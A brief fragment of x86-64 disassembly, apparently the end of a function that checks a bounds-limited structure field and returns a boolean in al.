cmp dword [rax + 0x84], 0xe
ja 0x1400150d3
xor al, al
jmp 0x1400150f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400150ef
xor al, al
jmp 0x1400150f1
mov al, 1
add rsp, 0x38
ret